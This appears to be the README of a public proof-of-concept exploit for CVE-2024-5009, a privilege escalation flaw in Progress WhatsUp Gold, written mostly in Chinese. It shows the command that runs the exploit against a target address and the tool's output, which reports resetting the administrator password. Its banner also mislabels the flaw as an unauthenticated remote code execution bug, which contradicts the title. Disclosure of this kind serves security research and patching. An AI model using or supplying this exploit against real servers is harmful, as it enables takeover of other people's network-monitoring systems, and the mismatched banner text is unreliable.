Progress WhatsUp Gold SetAdminPassword 权限提升漏洞（CVE-2024-5009）的PoC
关于该漏洞的根本原因分析可在我的博客中找到： https://summoning.team/blog/progress-whatsup-gold-privesc-setadminpassword-cve-2024-5009/
python3 CVE-2024-5009.py --target https://192.168.0.231/
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______
|______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | |
______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | |
(*) Progress WhatsUp Gold GetFileWithoutZip Unauthenticated Remote Code Execution (CVE-2024-5009)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/progress-whatsup-gold-privesc-setadminpassword-cve-2024-5009/
(^_^) Prepare for the Pwnage (^_^)
(*) Generated random password is: e9513bc41e2a9acf
(*) Escalating...
(+) Escalation done, new admin password is: e9513bc41e2a9acf
本软件纯粹为学术研究和开发有效的防御技术而创建，除非明确授权，否则不得用于攻击系统。项目维护者不对软件的滥用负责或承担责任。请负责任地使用。